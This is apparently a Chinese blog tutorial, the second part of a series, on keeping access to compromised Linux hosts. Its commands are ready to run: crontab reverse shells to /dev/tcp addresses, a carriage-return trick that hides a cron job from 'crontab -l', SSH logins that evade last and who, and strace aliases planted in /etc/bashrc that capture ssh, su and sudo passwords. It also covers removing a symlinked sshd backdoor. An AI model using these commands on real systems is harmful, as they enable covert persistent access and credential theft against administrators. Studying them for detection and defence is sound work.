Linux权限维持入门学习(下)

简介: Linux权限维持入门学习

第二步:确定软链接后门文件

查看所有的su文件,以及查找具体哪一个su是软链接后门

cd ~
cd ..
find . -name su

使用ll命令来确定哪一个是后门:

[root@linux-centos /]# ll ./etc/selinux/targeted/active/modules/100/su
总用量 20
-rw-r--r--. 1 root root 1837 9月  13 2017 cil
-rw-r--r--. 1 root root 9171 9月  13 2017 hll
-rw-r--r--. 1 root root    2 9月  13 2017 lang_ext
[root@linux-centos /]# ll ./tmp/su
lrwxrwxrwx. 1 root root 14 12月  6 16:44 ./tmp/su -> /usr/sbin/sshd
[root@linux-centos /]# ll ./usr/share/locale/su
总用量 0
drwxr-xr-x. 2 root root 6 11月  5 2016 LC_MESSAGES
[root@linux-centos /]# ll ./usr/share/bash-completion/completions/su
-rw-r--r--. 1 root root 864 8月   4 2017 ./usr/share/bash-completion/completions/su
[root@linux-centos /]#

最后发现./tmp/su文件是软连接的后门。

第三步:删除软链接后门

一定要记得kill的是两个进程:

rm -rf /tmp/su
kill -9 17650
kill -9 17638

此时连接退出:

此时再也无法连接:

注意事项

切记:不要用 rm -rf /tmp/su/,如果后面多一个斜杠,就会把文件删除!

一定要删除两个进程,如果只删除了正在登录的进程是无效的

2.3 隐身登录(有条件)

如果在已知用户密码的情况下,可以使用这种方法进行登录,如果是自己建立的账号登录的话,一样会被发现。

# 不被last\who\w等指令检测
ssh -T username@x.x.x.x /bin/bash -i
# 不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostFile=/dev/null -T user@x.x.x.x /bin/bash -if

如果已知密码的情况下可以使用这个方法登录,比如使用攻击机去登录靶机:

ssh -T bolean@10.50.0.16 /bin/bash -i

但是使用端口检查的话,还是可以看到的:

netstat -anpt

2.4 crontab定时任务

基本上普通crontab一眼就能看出来,基本就是送死的:

crontab -l

如果想进行计划任务的话,可以使用计划任务进行反弹。

2.4.1 bash命令进行反弹

/bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/888 <&1'

但是这个命令如果用到任务计划里面就是:

* * * * * /bin/bash -c 'exec bash -i &>/dev/tcp/10.30.3.49/8688 <&1'

将命令放入到任务计划里面去,然后很快就会回弹一个shell回来:

在这里使用crontab -l了的命令是能看到此时的任务计划的,此时已经收到了shell

2.4.2 文件反弹

先建立一个sh文件,并对该文件赋予可执行权限:

bash脚本:hello.sh,将文件放在/tmp 目录下面:

#!/bin/bash
bash -i >& /dev/tcp/10.30.3.49/12345  0>&1
#!/bin/bash
bash -i >& /dev/tcp/12x.xxx.xx3.xx3/12345  0>&1

至于留后门的方法可以使用下面的语句,参考:

https://cloud.tencent.com/developer/article/1683265
(crontab -l;printf "*/1 * * * * /tmp/hello.sh;\rno crontab for `whoami`%100c\n")|crontab -

在这里试下:(用了公网的机器)

不久之后,会话就弹回来了:

此时使用crontab -l是看不到当前有新的计划任务的:

但是crontab -e是可以看到的:

但是这个通讯依旧可以看到:

2.5 strace后门-偷其他ssh的密码

参考文档:

https://zhuanlan.zhihu.com/p/355743801

可以通过alias命令来执行特定的命令时静默运行其他程序,从而达到启动后门,记录键值等作用。

这里主要是记录该用户的键盘操作,并无法记录登录靶机的ssh密码信息。

2.5.1 记录ssh的操作。

通过命令替换动态跟踪系统调用和数据,可以用来记录用户sshsusudo的操作。

cp /etc/bashrc /etc/.bashrc.bak  # 将文件备份
vim /etc/bashrc # 编辑文件
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' 
b
source ~/.bashrc

此时利用该账号再去登录其他账号的时候,发生报错:

此时发生报错,所以在使用该命令的时候一定要注意下是否有strace命令。

当前环境是centos,所以在这里需要自行安装strace

yum install strace

此时再利用该机器进行登录操作:

登录成功,再看下是否有log文件进行记录:

文件已经存在,但是其中的信息过多,需要进行过滤:

grep -A 9 'password' .ssh.log

将其中的信息进行拼接即为密码信息。


2.5.2 排查技巧


利用alias进行排查:


2.5.3 利用总结


如果需要记录sudo操作、ssh等操作,而且生成的日志可能会出现覆盖的情况,因此对于这种问题,我们对方法进行一个总结:

# 1. 文件备份:
cp /etc/bashrc /etc/.bashrc
# 2. 编辑bashrc文件
vim /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
# 4. 记录sudo命令
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 
# 5. 记录su命令
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'
# source下.bashrc文件
source /root/.bashrc

注意文件不要放在其他的高权限文件夹下,否则生成文件的时候会提示权限不足:

在这里先删除以前的记录,将以上记录插入:

alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'

然后再source一下:

在靶机上登录其他的机器,执行susudo命令试试:

此时去找下文件:

使用命令来看下文件,登录的ssh

grep -A 9 'password' .ssh-0712月121670384140.log

su的命令:

cat .su-0712月121670384157.log | grep write

在这里sudo命令有问题,好像不太好用。


2.4.4 利用总结


主要是偷在机器上管理员的一些操作,有时候能够偷到管理员密码信息
1. 查看是否strace命令,如果没有的话,安装:
centos:yum install strace -y
Ubuntu:apt install strace -y
2. 文件备份:
cp /etc/bashrc /etc/.bashrc
3. 编辑bashrc文件
vim /etc/bashrc 或者是vi /etc/bashrc
# 3. 记录本机登录其他机器的ssh信息,在bashrc的末尾/其中,加上下面的句子,会将文件放到/usr/bin/目录下,文件结尾为log
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 2048 ssh'
# 4. 记录sudo命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用,自己测试centos发生报错)
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 2048 sudo' 
# 5. 记录su命令(根据场景,一般如果是都只有root用户的话,这个命令不建议用)
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 2048 su'


2.6 窃取运维的密码


参考:https://zhuanlan.zhihu.com/p/146024506这个在实战中,成功过。


3.总结


本文仅对linux的权限维持做了非常微小的学习,文章所有的操作都是网上已有的技术,仅供参考,如有错误,欢迎指正。


4.参考资料


其中还有一部分参考的文章链接在文中。

https://www.v4ler1an.com/2020/12/backdoor/
https://zhuanlan.kanxue.com/article-16246.htm
https://cloud.tencent.com/developer/article/1683265
相关文章
|
12天前
|
机器学习/深度学习 安全 网络协议
Linux防火墙iptables命令管理入门
本文介绍了关于Linux防火墙iptables命令管理入门的教程,涵盖了iptables的基本概念、语法格式、常用参数、基础查询操作以及链和规则管理等内容。
173 73
|
19天前
|
NoSQL Ubuntu Linux
Linux内核学习
Linux内核学习
41 3
|
12天前
|
Linux
使用qemu来学习Linux的休眠和唤醒
使用qemu来学习Linux的休眠和唤醒
|
12天前
|
Linux
linux内核原子操作学习
linux内核原子操作学习
|
13天前
|
Ubuntu Linux
用crash工具学习Linux内核 —— 查看cgroup_roots
用crash工具学习Linux内核 —— 查看cgroup_roots
|
13天前
|
Ubuntu Linux 调度
Linux内核学习
Linux内核学习
|
16天前
|
Unix Linux Go
Linux中的chmod权限问题
Linux中的chmod权限问题
12 0
|
17天前
|
存储 人工智能 Ubuntu
Linux指令学习(一)
Linux指令学习(一)
50 0
|
5天前
|
Linux Shell
Linux 中 Tail 命令的 9 个实用示例
Linux 中 Tail 命令的 9 个实用示例
27 6
Linux 中 Tail 命令的 9 个实用示例
|
10天前
|
Linux 应用服务中间件 nginx